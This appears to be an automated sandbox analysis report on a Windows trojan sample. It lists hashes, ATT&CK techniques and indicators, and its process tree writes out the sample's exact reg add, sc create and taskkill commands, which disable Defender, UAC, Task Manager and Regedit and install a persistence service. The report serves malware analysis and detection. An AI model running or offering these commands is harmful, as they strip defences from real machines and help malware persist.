75a4a3327e3f34c79d5dafc726b397509b2dfdd0165a17d989b2088365f61156

General

Target
GRoupALEst5bariya.exe
Size 767KB
Sample260701-wfe9dabv7m
SHA256 75a4a3327e3f34c79d5dafc726b397509b2dfdd0165a17d989b2088365f61156
MD5 eab5cc14e504a2260135a5a60419de56
SHA1 bd5672d1e54e2872da90bad4db8224e8c629630b
SHA512 d0ce7208ea4a893b059e3dd1307542e7ec442edab9f6312ec7d1caa76915058e101b279f62619157d02668f971843f30cf5defa25da576ccd9ae51cc19681726
SSDEEP 12288:6SrgFkLqcYOs+qDEg0PHyF+ASHbQFP50j1GEoAl:4FkFYmqDBws50j1GEoAl
TLSH
T176F4168336CB1CFAEE932B3894DB533A6735FE708B6A8B674514E2311D135C1AD5AB40
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion evasion execution persistence trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1935666426-3801330415-1166019131-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\system.sys	GRoupALEst5bariya.exe
File opened for modification	C:\Windows\System32\drivers\system.sys	GRoupALEst5bariya.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\GRoupALEst5bariya.exe"	GRoupALEst5bariya.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1935666426-3801330415-1166019131-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\GRoupALEst5bariya.exe"	GRoupALEst5bariya.exe

Drops file in System32 directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\csrss.exe	GRoupALEst5bariya.exe
File created	C:\Windows\System32\lsass.exe	GRoupALEst5bariya.exe
File created	C:\Windows\System32\services.exe	GRoupALEst5bariya.exe
File created	C:\Windows\System32\svchost.exe	GRoupALEst5bariya.exe
File created	C:\Windows\System32\winlogon.exe	GRoupALEst5bariya.exe
File opened for modification	C:\Windows\System32\lsass.exe	GRoupALEst5bariya.exe
File opened for modification	C:\Windows\System32\services.exe	GRoupALEst5bariya.exe
File opened for modification	C:\Windows\System32\svchost.exe	GRoupALEst5bariya.exe
File opened for modification	C:\Windows\System32\winlogon.exe	GRoupALEst5bariya.exe
File created	C:\Windows\System32\csrss.exe	GRoupALEst5bariya.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4720	sc.exe

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
6832	taskkill.exe
6600	taskkill.exe
2232	taskkill.exe
3052	taskkill.exe
2996	taskkill.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5996	GRoupALEst5bariya.exe
Token: SeIncBasePriorityPrivilege	5996	GRoupALEst5bariya.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 5996 wrote to memory of 6120	5996	GRoupALEst5bariya.exe	89
PID 5996 wrote to memory of 1032	5996	GRoupALEst5bariya.exe	91
PID 5996 wrote to memory of 6348	5996	GRoupALEst5bariya.exe	93
PID 5996 wrote to memory of 6612	5996	GRoupALEst5bariya.exe	95
PID 5996 wrote to memory of 6060	5996	GRoupALEst5bariya.exe	97
PID 5996 wrote to memory of 2760	5996	GRoupALEst5bariya.exe	99
PID 5996 wrote to memory of 4920	5996	GRoupALEst5bariya.exe	101
PID 4920 wrote to memory of 4720	4920	cmd.exe	103
PID 5996 wrote to memory of 3052	5996	GRoupALEst5bariya.exe	104
PID 5996 wrote to memory of 2996	5996	GRoupALEst5bariya.exe	105
PID 5996 wrote to memory of 6832	5996	GRoupALEst5bariya.exe	107
PID 5996 wrote to memory of 6600	5996	GRoupALEst5bariya.exe	108
PID 5996 wrote to memory of 2232	5996	GRoupALEst5bariya.exe	109

C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe
"C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe"
1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5996
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  2⤵
  PID:6120
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
  2⤵
  PID:1032
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:6348
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  PID:6612
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:6060
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Disables RegEdit via registry modification
  PID:2760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc create "SystemUpdate" binPath= "C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe" start= auto 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4920
- - C:\Windows\system32\sc.exe
    sc create "SystemUpdate" binPath= "C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe" start= auto
    3⤵
    - Launches sc.exe
    PID:4720
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  - Kills process with taskkill
  PID:3052
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im cmd.exe
  2⤵
  - Kills process with taskkill
  PID:2996
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im powershell.exe
  2⤵
  - Kills process with taskkill
  PID:6832
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im regedit.exe
  2⤵
  - Kills process with taskkill
  PID:6600
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im explorer.exe
  2⤵
  - Kills process with taskkill
  PID:2232